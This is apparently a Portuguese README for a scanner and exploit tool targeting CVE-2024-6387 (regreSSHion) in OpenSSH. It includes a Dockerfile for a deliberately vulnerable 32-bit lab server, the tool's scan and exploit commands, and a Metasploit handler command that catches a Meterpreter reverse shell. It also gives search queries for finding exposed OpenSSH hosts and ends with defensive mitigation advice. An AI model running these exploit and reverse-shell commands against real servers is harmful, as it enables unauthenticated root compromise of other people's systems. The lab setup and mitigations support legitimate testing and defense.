
# Scaneia e explora CVE-2024-6387 (regreSSHion) em servidores OpenSSH. Inclui varredura multithread, recuperação de banner, detecção de tempo de graça e modo de exploração com payload de shell reverso.
Esta é essencialmente uma vulnerabilidade estatística: um grande número de tentativas é necessário para vencer a condição de corrida e executar código arbitrário com sucesso. Os atacantes precisam superar muitos obstáculos, disse Schwartz à SecurityWeek. "Mesmo no melhor cenário, a vulnerabilidade mais conhecida leva mais de 4 horas para ser explorada."
Nas notas de lançamento do OpenSSH 9.8, os desenvolvedores observaram que a vulnerabilidade só foi confirmada em sistemas Linux de 32 bits baseados em glibc, e o OpenBSD não é afetado.
O ambiente é configurado usando Docker.
# 1.1. Escrevendo o Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCO exploit funciona SOMENTE para servidores OpenSSH de 32 bits. Isso se deve ao fato de o PoC usar ponteiros de 32 bits! Também é sabido que algumas versões já foram corrigidas, e nem todo servidor é vulnerável. Testado em: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilidade de Execução Remota de Código Não Autenticada no servidor OpenSSH
CVE-2024-6387.py é uma ferramenta leve e eficiente projetada para identificar servidores que executam versões vulneráveis do OpenSSH, visando especificamente a vulnerabilidade regreSSHion recentemente descoberta (CVE-2024-6387). Este script facilita a varredura rápida de múltiplos endereços IP, nomes de domínio e faixas de rede CIDR para detectar vulnerabilidades potenciais e garantir que sua infraestrutura esteja segura.
Uma condição de corrida no manipulador de sinais foi encontrada no servidor OpenSSH (sshd), onde um cliente não se autentica dentro de LoginGraceTime segundos (120 por padrão, 600 em versões antigas do OpenSSH), então o manipulador SIGALRM do sshd é chamado de forma assíncrona. No entanto, esse manipulador de sinais chama várias funções que não são seguras para sinais assíncronos, por exemplo, syslog().
Você pode encontrar os detalhes técnicos aqui.
A falha, descoberta por pesquisadores da Qualys em maio de 2024, e atribuída ao identificador CVE-2024-6387, é devida a uma condição de corrida no manipulador de sinais do sshd que permite que atacantes remotos não autenticados executem código arbitrário como root.
"Se um cliente não se autenticar dentro de LoginGraceTime segundos (120 por padrão), então o manipulador SIGALRM do sshd é chamado de forma assíncrona e chama várias funções que não são seguras para sinais assíncronos,"
"Um atacante remoto não autenticado pode tirar vantagem dessa falha para executar código arbitrário com privilégios de root."
Requisito: python3 mais recente
### Argumentos de Linha de Comando
mode: Seleciona o modo de operação. As opções são scan ou exploit.
-T, --targets: Endereços IP, nomes de domínio, caminhos de arquivos contendo endereços IP ou faixas de rede CIDR.
-f, --outputfile: Arquivo para salvar os resultados (ex.: result.json).
-g, --gracetimecheck: Tempo em segundos para aguardar após identificar a versão para verificar a mitigação do LoginGraceTime (padrão: 120 segundos).
-n, --nic: NIC de rede (padrão: 'eth0').
-o, --output: Formato de saída para os resultados (opções: 'csv', 'txt', 'json').
-p, --port: Número da porta para verificar ou explorar (padrão: 22).
-s, --speed: Número de threads para aumentar as chances da condição de corrida (padrão: 10).
-t, --timeout: Tempo limite de conexão em segundos (padrão: 1 segundo).
-H, --resolve-hostnames: Resolver nomes de host
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Tudo o que você precisa fazer é executar o comando abaixo primeiro (altere o manipulador {yourip}) e executar o exploit depois com o comando acima
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
A ferramenta fornece saída codificada por cores no console para melhor legibilidade:
Verde: Conexão ou operação bem-sucedida. Vermelho: Conexão falha ou erro. Amarelo: Avisos ou informações dignas de nota. Ciano: Informações gerais ou atualizações de status.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGerenciamento de Patches: Aplicar rapidamente os patches disponíveis para o OpenSSH é crítico para fechar a lacuna da vulnerabilidade. A aplicação oportuna de patches garante que exploits conhecidos não possam ser usados contra seus sistemas, reduzindo assim a janela de oportunidade para atacantes.
Controle de Acesso Aprimorado: Limitar o acesso SSH por meio de controles baseados em rede adiciona uma camada extra de defesa. Essa abordagem minimiza a exposição a atacantes potenciais ao restringir conexões SSH apenas a redes ou endereços IP autorizados. Implementar ferramentas como regras de firewall ou usar VPNs para acesso seguro pode aplicar efetivamente essas restrições.
Segmentação de Rede: Dividir sua rede em segmentos ajuda a conter o impacto de uma possível violação. Ao segmentar sistemas críticos e dados sensíveis das partes menos críticas da sua rede, você reduz o risco de movimento lateral por atacantes. Essa segmentação pode ser complementada com controles de acesso rigorosos e monitoramento para detectar e responder a qualquer tentativa não autorizada de violar esses segmentos.
Sistemas de Detecção de Intrusão (IDS): Implantar IDS ou sistemas de prevenção de intrusão (IPS) permite o monitoramento em tempo real do tráfego de rede e dos logs do sistema. Esses sistemas podem detectar atividades suspeitas e tentativas potenciais de exploração associadas à vulnerabilidade regreSSHion. Alertas acionados por tais sistemas permitem investigação e mitigação imediatas antes que danos significativos possam ocorrer.
Monitoramento de Tentativas de Exploração: O monitoramento contínuo dos logs de rede e do sistema é crucial. Procure por padrões ou atividades incomuns que possam indicar uma tentativa de explorar a vulnerabilidade do OpenSSH. Essa abordagem proativa ajuda a identificar e responder a ameaças antes que elas possam causar danos.